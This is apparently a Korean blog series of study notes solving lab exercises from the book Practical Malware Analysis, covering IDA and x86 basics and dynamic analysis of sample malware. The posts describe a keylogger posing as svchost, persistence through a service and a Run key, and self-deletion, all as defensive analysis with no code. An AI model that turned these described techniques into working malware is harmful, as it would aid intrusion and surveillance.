2) JUMP

JMP와 관련된 명령어는 매우 많지만 이번 문제에서 자주 쓰이는 Jump 명령어를 정리합니다.

- JA : Jump if Above / CMP로 두 값을 비교하여 Op1(왼쪽) 크면 Jump  /  ZF = 0  and  CF = 0

- JB : Jump if Below / CMP로 두 값을 비교하여 Op2(오른쪽) 크면 Jump  /  CF = 1

- JE : Jump if Equal / CMP로 두 값을 비교하여 Op1, Op2 값이 같으면 Jump  /  ZF = 1

- JZ : Jump if Zero / 결과값이 0이면 Jump / ZF = 1

- JNZ : Jump if not Zero / 결과값이 0이 아니면 Jump / ZF = 0

 

Tip. CMP 이전에 수행하는 XOR EAX, EAX 명령어

XOR 명령어는 Overflow와 Carry 플래그를 항상 0으로 해제합니다.

또한 EAX는 서로다른 값일때만 1로 세팅되므로,

XOR EAX, EAX를 수행할 경우, 서로가 같은 값을 가지므로 0으로 초기화됩니다.

한마디로 CMP이전에 수행되는 해당 명령어는 청소도구라고 생각하면 되겠네요!

 

Tip. 함수에서 돌아온 이후 수행하는 TEST EAX, EAX 명령어

예를들어, memcmp 함수가 수행된 이후에 TEST EAX, EAX를 수행한다면 어떤 의미일까요?

TEST 명령어는 묵시적으로 두 피연산자의 대응되는 각 비트 쌍에 대해 AND 연산자를 수행하고,

결과에 따라서 플래그를 설정합니다. 또한 TEST 명령어는 연산자에 어떤 영향을 주지 않습니다.

하지만 이러한 글을 다 기억하는 것보다는, 자주 쓰이는 사례의 의미를 기억하는게 더 효율적이겠지요.

- CMP명령어는 두 OP가 동일한지를 판단하며

- TEST명령어는 두 OP가 모두 0인지 판단합니다.

즉 위에서 예로든 memcmp 함수가 시행된 이후에 EAX값에 리턴값이 설정되어 있을것이고

TEST명령으로 해당 값이 0인지 확인하는데 사용됩니다.

즉, memcmp로 비교한 문자열이 동일한가? 라는것을 TEST 명령어로 체크하는겁니다.

--------------------------------------------------------------------------------------------------------------------------------------------------

posted by Red_Message

안녕하세요. Message입니다.

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 5-1을 분석합니다.

분석환경은 Windows 7 Ultimate 64x / Vmwre 12.1.0 build 입니다.

 

#1 : http://redscreen.tistory.com/66

#2 : http://redscreen.tistory.com/67

#3 : http://redscreen.tistory.com/68

#4 : http://redscreen.tistory.com/71

 

 

------------------------------------------------------------------------------------------------------------------------------------------

0. 준비

------------------------------------------------------------------------------------------------------------------------------------------

OllyDbg쓰다가 IDA쓰다가 이클립스로 개발하다가...보면 가장 혼동되는게 단축키입니다.

원래는 그때마다 검색해서 다시 감잡은 다음에 작업에 들어갔는데,

이참에 IDA에서 자주 쓰는 단축키만 정리하겠습니다.

 

일반

---------------------------------------------------------

- TextView와 Graph 화면전환 : SPACE 

- Strings Window : Shitft+F12

- 함수이동 : Ctrl+p 

- 이름검색 : Ctrl+L

- XREF 검색 : Ctrl+X 

- 주소이동 : g 

- 전단계 이동 : ESC

- 코드수정 : Alt+F2

- Text 검색 : Alt+t

- Quick View : Ctrl+1 

---------------------------------------------------------

 

디버그

--------------------------------

- BreakPoint : F2

Debugging Start : F9

- Debugging Exit : Ctrl+F2

- Step Into : F7

- Step Over : F8

--------------------------------

 

그래프모드 화살표 색상

---------------------------

------▶  False

------  True

------  무조건 Jump

---------------------------

 

------------------------------------------------------------------------------------------------------------------------------------------

1. DllMain의 주소는 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

Function Name Window에서 DllMain을 찾습니다.

처음에는 DllEntryPoint로 착각했지만, DllMain이 따로 있었습니다.

둘의 차이점을 검색해보았으나, 명확하게 딱 이거다 라고 되어 있는걸 못찾았습니다.

스페이스키를 누르고 그래프를 살펴보았더니 DllEntryPoint가 먼저 호출되고 난 이후에

자신이 받은 인자값을 그대로 넣어주면서 DllMain을 호출하더군요.

답 : text 섹션 / 0x1000D02E

 

Tip. main에 관하여

RedAlert 에서 배포된 PE구조 문서를 보니

일반적으로 EntryPoint는 main, wmain, WinMain, wWinMain 으로 착각하기 쉽지만 (처음보는 함수도 많네요)

진정한 main은 CRT main이라고 합니다. CRT main은 C/C++ run-time startup 코드라고 불리는 함수가 따로 존재하는데,

이는 Linker에 의해 실행파일이 생성될 때 합쳐치며, main 함수도 CRT main에 의해서 호출되는 함수입니다.

CTR main은 Command-Line argument와 환경변수를 채우고,

heap 초기화, 전역변수 객체 생성자 호출, 전역변수 초기화 등을 수행합니다.

종류는 mainCRTStartup, wmainCRTStartup, WinMainCRTStartup wWinMainCRTStartup 등등..

이부분은 따로 숙지할 필요가 있겠네요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. Imports 윈도우를 이용해 gethostbyname을 탐색해보자. 임포트 위치는 어디인가?

------------------------------------------------------------------------------------------------------------------------------------------

Import Window에서 getbyhostname을 찾습니다.

윈도우에 포커스를 두고, gethostbyname을 타자치면 검색 기능이 활성화되어 쉽게 찾을 수 있습니다.

gethostbyname을 더블클릭하면 디스어셈블리창으로 이동되며, 주소값을 알아낼 수 있습니다.

답 : idata 섹션 / 0x100163CC

 

------------------------------------------------------------------------------------------------------------------------------------------

3. gethostbyname 함수는 몇번 호출되는기?

------------------------------------------------------------------------------------------------------------------------------------------

디스어셈블리창에서 Ctrl+X 를 입력하면 xref로 표기되는 상호참조 리스트 윈도우가 호출됩니다.

type은 호출(p)읽기(r)로 표시됩니다.

sub_10001074, sub_10001365, sub_10001656, sub_1000208F, sub_10002CCE 등 5개의

서로다른 함수에서 9번 호출됨을 알 수 있습니다.

답 : 5개의 함수에서 9번 호출

 

 

------------------------------------------------------------------------------------------------------------------------------------------

4. 0x10001757에 위치한 gethostbyname 호출을 보면 어떤 DNS 요청이 이뤄지는지 알 수 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

.gethostbyname 함수는 도메인이름ex) www.daum.net 하나를 파라미터로 받는 함수입니다

상호참조 리스트에서 P type의 메소드를 클릭하여 확인하면

EAX 레지스터를 이용하여 도메인 네임 인자를 받는 어셈블리코드를 볼 수 있습니다.

 

off_10019040 주소를 더블클릭하거나 G 기능을 이용하여 주소로 점프하면

아래와 같이 "[This is RDO]pics.practicalmalware...(생략)" 소스를 발견할 수 있습니다.

 

EAX 레지스터에 0Dh 주소값을 더하는 이유는

문자열의 [This is RDO] 값을 제외하고 "pics..." 부분을 포인터로 얻기 위함입니다. 

답 : pics.practicalmalwareanalysis.com

 

 

------------------------------------------------------------------------------------------------------------------------------------------

5. 0x10001656 서브루틴에서 IDA Pro는 지역변수 몇개를 인지하고 있는가?

6. 0x10001656 서브루틴에서 IDA Pro는 파라미터 몇개를 인지하고 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

스페이스바를 이용하여 그래프모드로 전환후 0x10001656으로 가거나

G단축키를 이용하여 0x10001656으로 이동하면

아래와 같은 그림에서 지역변수와 파라미터의 개수를 확인할 수 있습니다.

답 : 지역변수 23개, 파라미터 1개 (arg_0= dword ptr 4)

 

 

 

posted by Red_Message

안녕하세요~ Message 입니다. 오늘은~

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 3-4 을 분석해보고자 합니다.

분석환경은 Windows XP / Vmware 12.1.0 build 입니다.

 

1. 파일을 실행하였을 때 어떤 일이 발생했는가?

 

1) 기본 분석

파일을 실행하기 앞서, 기본적인 분석을 수행합니다.

패킹여부, 문자열 추출, DLL 리스트 등을 확인하며 특이사항을 체크합니다.

- 문자열추출

Strings 툴을 이용하여 문자열을 추출합니다.

 

이중에 유심히 봐야할 문자열은 아래와 같습니

- 도메인명 : http://www.practical...(중략)..analysis.com

- 레지스트리 위치 : SOFTWARE\Microsoft\XPS

- 문자열 : DOWNLOAD, UPLOAD

- 커맨드라인 파라미터 의심 문자열 : -cc, -re, -in

 

- DLL 확인

DWalker로 어떤 함수를 사용하는지 확인합니다.

KERNEL32.DLL의 경우, 너무 많은 함수를 참조하기 때문에 한눈에 들어오지 않지만

ADVAPI32.DLL은 서비스 관련 함수와 레지스트리 관련 함수들이 눈에 띄고,

SHELL32.DLL에서 ShellExecuteA 함수가 확 들어옵니다.

나중에 상세 분석을 하기 위해, 해당 내용들은 기억해둡니다.

 

 

 

2) 파일실행

파일을 실행하면 특정 프로세스(conime.exe)를 실행 시킨 후, 스스로 삭제됩니다.

(보통 conime.exe만 나타났지만..여러번의 시도 끝에 Lab03-04.exe와 동시에 나타난 순간을 캡쳐했습니다)

 

어떤 원리로 삭제되는지 알아보기 위해 ProcMon을 실행시킨 뒤, 프로세스 이름으로 필터를 설정합니다.

하지만 필터를 설정했음에도 불구하고, 너무나 많은 이벤트가 발생하는 것을 볼 수 있습니다.

따라서 추가적인 필터가 필요합니다. (이때 .exe를 빠뜨리면 안됩니다)

 

아래와 같이 Operation에 Process Create 를 필터로 추가 설정하였습니다.

그럼 아래와 같이 이벤트가 1개로 줄어든 것을 볼 수 있습니다.

 

탐지된 이벤트를 더블클릭하여 확인해 보면

아래와 같이 cmd를 이용한 del 명령으로 스스로를 삭제하는 커맨트를 발견할 수 있습니다.

 

2. 동적 분석 시 장애물이 무엇인가?, 이 파일을 실행시키는 다른 방법이 있는가?

해당 악성코드가 스스로 삭제되는점을 미루어 보아,

분석을 위한 도구 또는 컴포넌트가 필요한 것 같습니다.

해당 내용은 9장에서 다룬다고 하니, 해당 내용을 공부하고 돌아와야 겠군요!

posted by Red_Message

안녕하세요~ Message 입니다. 오늘은~

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 3-3 을 분석해보고자 합니다.

분석환경은 Windows XP / Vmware 12.1.0 build 입니다.

 

1. Process Explorer로 이 악성코드를 모니터링했을 때 무엇을 알아냈는가?

분석할 파일은 Lab03-03.exe 입니다.

Process Explorer를 실행하고, 해당 실습파일을 실행시키면

아래와 같이 Lab03-03.exe이 실행되고, 서브프로세스인 svchost.exe가 같이 실행되는것을 볼 수 있습니다. (초록색) 

하지만 1~2초 정도 시간이 지나면, 아래와 같이 서브프로세스인 svchost.exe만 고아 프로세스로 동작하는 것을 볼 수 있습니다.

에서는 svchost.exe가 고아 프로세스라는 사실이 매우 일반적이지 않으며, 아주 의심스럽다고 표현합니다.

(아마 이런 부분은 많은 경험을 쌓아야 알 수 있겠죠...ㅜㅜ...)

svchost.exe의 경우, 바로 전 문제인 3-2 문제에서 특정 DLL 파일을 실행시키기 위한 수단으로 사용되었습니다.

 

2. 실시간 메모리 변조를 확인할 수 있는가?

Process Explorer에서 svchost.exe의 속성 -> Strings 탭으로 이동하면

디스크와(Image) 메모리(Memory)에 있는 실행이미지를 볼 수 있습니다.

Image와 Memory를 반복하여 누르면, 이미지가 상당 부분 일치하지 않음을 알 수 있습니다.

 

 

3. 악성코드임을 의미하는 호스트 기반 표시자는 무엇인가?

위 스크린샷에서 몇가지 특이한 문자열을 발견할 수 있는데,

practicalmalwareanalysis.log나 [ENTER]와 같은 문자열은 svchost에서 일반적으로 발견되지 않습니다.

아래에서 나오겠지만, 사용자가 입력한 엔터값이나 쉬프트값 등을

악성코드 제작자가 쉽게 알아보기 위해 '[ENTER]'와 같은 문자열로 대체하여 기록하기 위해 사용합니다.

(이번 경험을 통해서, 나중에 저런 문자열을 보면 키로깅 행위를 먼저 의심해 볼 수 있겠습니다.)

실제 키로깅 행위를 하는지 Process Monitor 툴을 이용하여 확인해보겠습니다.

 

1) ProcMon 필터설정

Process Explorer에서 생성되는 PID를 확인한 후, 아래와 같이 필터를 설정합니다.

 

2) ProcMon 이벤트값 확인

이후 메모장을 열어 아무 글자나 타이핑 한 뒤, 결과를 살펴보면

practicalmalwareanalysis.log 파일에서 CreateFile, WriteFile 등의 이벤트가 발생하는것을 볼 수 있다.

 

3) DWalker DLL 확인

DWalker를 이용하여 어떤 함수를 사용하는지 확인해보았습니다.

KERNEL32 DLL의 많은 함수를 사용하는것을 확인할 수 있었고,

CreateFile(파일생성), WriteProcessMemory(원격프로세스 데이터 작성, DLL인젝션에 사용 가능) 등이 보입니다.

 

4. 이 프로그램의 목적은 무엇인가?

ProcMon에서 발견한 practicalmalwareanalysis.log 파일을 편집기로 열어보면,

사용자 입력값이 프로그램 이름과 함께 기록되어 있음을 확인할 수 있습니다.

따라서, svchost.exe로 가장한 키로거로 판단할 수 있습니다.

 

posted by Red_Message

안녕하세요~ Message 입니다. 오늘은~

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 3-2 을 분석해보고자 합니다.

분석환경은 동일하게  Windows XP / Vmware 9.0.3 build 입니다.

 

1. 악성코드가 설치된 방법

분석할 파일은 Lab03-02.dll 입니다. 실행파일이 아닌 DLL이 어떻게 설치되었을까요?

일단 주어진 유일한 파일이 DLL파일이니, 분석해보면 답이 나올 것 같습니다.

DWalker로 어떤 Export 함수가 있는지 확인해볼까요.

우리가 알아내야 하는 [어떻게 설치가 되었는가]에 대한 실마리가 보입니다.

바로 Install과 installA 두개의 함수인데요(대소문자주의),

installA 함수를 살펴보니 별다른 기능은 없이 Install 함수를 호출하는군요.(아래 스샷 참고)

따라서 CMD창에서 아래와같이 입력해주면 설치가 되는데요(Rundll32.exe를 이용하여 설치하는 방법은 교재에 나와있습니다.)

대소문자 주의해주세요.(installA 맨앞에 i가 소문자임)

아, 그리고 실행하기 전에 RegShot, ProcMon, SystemExplorer, WinAlysis와 같은 스냅샷 기능의 툴을 실행시켜줍니다.

이렇게해서 악성코드가 설치가 되었습니다. 다음으로 슝슝~

 

2 . 설치후 실행방법과 동작 프로세스

어떻게 실행이 되는지 알아봅시다. 설치전에 시켜놓은 스냅샷을 비교해볼까요?

아래 스샷은 SystemExplorer를 이용하여 스냅샷을 비교한 내용인데요,

스냅샷을 비교해보니 HKLM 하이브(루트키) 내부의 Service 레지스트리 키값 아래로 

폴더모양의 IPRIP 레지스트리 키(Key)가 새로 생성되었고

IPRIP 키 안에 10개의 값들이 추가된것을 확인할 수 있었습니다.

아마도 실행시키면 레지스트리 서비스(IPRIP) 내부에 본인을 설치하는 악성코드인 모양입니다.

그런데 왜 악성코드는 레지스트리 서비스에 본인을 설치했을까요?

그것에 대한 힌트는 ImagePath 값에 있는 "svchost.exe -k netsvcs" 부분입니다.(아래 svchost.exe 세부내용 참조)

 

[svchost.exe에 대하여...]

우리가 흔히 보았던 svchost.exe 프로그램은 윈도우즈 서비스를 백그라운드로 구동하는 프로세스입니다.

원래 윈도우즈 서비스는  WinLogon.exe가 호출하는 Services.exe(SCM:서비스제어관리자)에 의해 관리되지만

예외적으로 DLL 기반의 서비스는 svchost.exe에 의해 관리됩니다.

(우리가 실습중인 악성코드는 DLL 기반이기 때문에 svchost에 의해 실행되겠네요 ^^) 

svchost.exe는 윈도우 부팅시 윈도우 레지스트리의 Service항목을 검색하여 목록을 만듭니다.

HKLM\System\CurrentControlSet\Services 내부에 등록된 서비스에서 Parameters 키 내부에 ServiceDLL값이

들어 있는 서비스들을 묶어 실행시킬 목록을 형성합니다. 이해가 안간다면 우리가 분석중인 악성코드를 통해 이해해봅시다.

아니나 다를까, IPRIP 서비스이름 아래 Parameters 키가 뙇!! 그 안에 ServiceDll이 뙇!!

따라서 이 악성코드는 이제 svchost.exe가 자동으로 실행시켜주는 서비스 기반의 악성코드로 판별이 되었습니다.

재부팅후 ProcessExplorer 메뉴탭에서 [Find] - [Find Handle or DLL] 기능을 이용하여 Lab03-02.dll을 검색하면

svchost.exe가 로드하여 사용하고 있음을 볼 수 있습니다.

(교재에서는 재부팅을 하지 않기 위해 CMD 에서 서비스를 구동할 수 있는 net 명령어로 실행시킵니다 : net start IPRIP)

 

[조금더..분석 - 정적분석]

우리가 분석중인 악성코드의 경우 서비스에 등록이 되어 시스템으로부터 호출이 되는 형식으로 분석이 되었는데요,

그렇다면 우리가 설치하기 위해 사용했던 InstallA 함수 이외에, 운영체제가 접근하는 콜백함수가 있어야합니다.

( *콜백함수 : 호출되는 함수를 알려주어 특정 이벤트 발생시 모듈이나 OS 등에서 함수를 호출할 수 있도록 하는 방법)

DLL을 이용하여 서비스에 등록을 하기 위해서는 main()에서 서비스 관리를 위한 ServiceMain()을 콜백으로 등록해야합니다.

우리 악성코드는 어떻게 등록되어 있을까요? 아래 스샷을 참조해봅시다.

 

 

 

3. 호스트기반 표시자 및 정보를 수집하는 ProcMon을 사용하기 위해 사용한 필터

악성코드를 실행하기 전 ProcMon을 실행시켜 놓았다면 ProcessExplorer에서 수집한 PID를 이용하여

필터를 적용할 수 있습니다.  위에서는 재부팅을 통하여 svchost가 악성코드를 실행시키는것을 관찰했지만

ProcMon을 통한 관찰을 위해 교재에서 사용한 CMD - net 명령어를 이용하겠습니다.

실행이 되면 아래와 같이 우리가 레지스트리 편집기에서 발견하였던 익숙한 텍스트가 우리를 반겨줍니다 (ㅋㅋ)

이후에 ProcessExplorer를 이용하여 알아낸 PID를 ProcMon 필터에 적용해줍니다.(PID는 시스템 or 재부팅시 다를 수 있음.)

 

5. 악성코드에서 유용한 네트워크 기반 시그니처

ApateDNS를 이용하면 아래와 같이 악성코드의 DNS 요청을 확인할 수 있습니다.

또한 NetCat을 이용하여 아래와 같은 네트워크 시그니처를 관찰할 수 있습니다.

 

posted by Red_Message

안녕하세요~ Message 입니다. 오늘은~

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 3-1 을 분석해보고자 합니다.

(책에서도 1-4 다음에 바로 3-1로 넘어갑니다)

분석환경은 동일하게  Windows XP / Vmware 9.0.3 build 이며,

사용되는 툴은 Dependency Walker, Strings, ProcMon, Process Explore, ApateDNS, NetCat 입니다.

 

1. 악성코드의 임포트 함수와 문자열 확인하기

DWalker를 통하여 임포트된 DLL을 살펴보겠습니다.

근데..임포트 함수라고는 딸랑 ExitProcess 하나뿐이군요. 정상적인 기능을 수행하는 프로그램이라면 이런 경우는 거의 없지요.

아마 패킹이 되어 있는것 같습니다.

PEID로 확인해본 결과 PEncrypt 3.1 Final -> junkcode 로 패킹이 되어있네요.

패킹을 해제하기 전까지는 정적분석이 안될것 같습니다.

마지막으로 Strings를 이용하여 문자열을 확인해봅시다.

......(중략).....

패킹이 되어있기 때문에 문자열에서 많은 기대를 할 순 없지만, 마지막 부분에서

WinVMX32, VideoDriver, vmx32to64.exe, 레지스트리 위치, 도메인명 등의 주요 단서들이 발견되었습니다.

동적분석 & 정적분석을 통해 이 단서들이 어떻게 사용되는지 알아봅시다.

 

2. 악성코드임을 의미하는 호스트 기반 표시자 확인하기

악성코드 실행전 동적 분석을 위한 툴을 실행시킵니다. : ProcMon, Process Explore

 

[Process Explorer]

악성코드를 실행시키고 Process Explorer로 체크합니다.

Lab03-01를 클릭하고 메뉴탭에서 [View] - [Lower Pane View] - [Handles]를 선택합니다.

이 뷰를 통하여 해당 악성코드가 뮤텍스(Mutant)를 생성하는 것을 알 수 있습니다.

숙련된 리버서 혹은 악성코드 분석가라면 뮤텍스를 생성을 바로 알아차리겠지만 공부하는 입장에서는

별다른게 없네~ 하고 그냥 넘어갈 확률이 높겠네요 ^^; (ㅜㅜ)

다음으로  [View] - [Lower Pane View] - [DLLs]를 선택합니다.

지난 실습에서 보았던 ws2_32.dll과 같은 네트워크에 관련된 DLL이 보입니다만...

DLL이 한두개도 아니고...매의 눈으로 관찰해야 보이겠녜요.

아마 경험이 쌓이면 익숙해지겠죠?

 

[ProcMon]

ProcMon을 실행시킨 후 악성코드를 실행시키면 Lab03-01.exe의 행동이 기록됩니다.

하지만 다른 프로세스들의 결과와 함께 나올 뿐만 아니라 Lab03-01.exe의 데이터만 해도 너무 많은 리스트가 나와

눈을 어지럽힙니다. 따라서 우리가 원하는 부분만을 보려면 FIlter 기능을 이용해야합니다.

메뉴탭에서 [Filter] - [Filter]에 들어가서 아래와 같이 설정합니다.

(다른 필터들을 전부 [Remove] 시켰더니 아예 결과값이 안나오더군요, 기존 필터는 그대로 유지하고, 추가 필터 3개만 [Add] 합니다.)

- Process Name : Lab03-01.exe

- Operation : WriteFIle

- Operation : RegSetValue

이렇게 필터를 만든 후 [Apply]를 누르면 총 10개의 결과값을 볼 수 있습니다.

 그중 주요 항목은 아래와 같습니다.

- WriteFile : C:\WINDOWS\system32\vmx32to64.exe (악성코드의 복사)

- RegSetValue : HKLM\SOFT\Microsoft\Windows\CurrentVersion\Run\VideoDriver (윈도우 부팅시 자동실행)

 

3. 악성코드를 인식할 수 있는 네트워크 기반의 시그니처 확인하기

 악성코드 실행전 동적 분석을 위한 툴을 실행시킵니다. : ApateDNS, NetCat

 

[ApateDNS]

ApateDNS를 실행시킨 후 [Start Server]를 클릭하면 악성코드가 주기적으로

www.prac..(중략)..anlysis.com 으로 DNS 요청을 하는것을 볼 수 있습니다.

(혹시 Vmware XP에서 초기화 오류가 발생하는경우 MicroSoft Frame Work가 설치 안됐을 가능성이 높습니다.)

 

[NetCat]

ApteDNS에서 DNS Reply IP를 이용하면 NetCat을 이용하여 리다이렉션된 내용을 볼 수 있습니다.

(요거 설정 안된줄도 모르고 한참을...ㅠ)

리스닝모드로(-l) 포트443번(-p)을 모니터링하게되면 전송되는 256바이트의 무작위 데이터를 볼 수 있습니다.

 

 

 

posted by Red_Message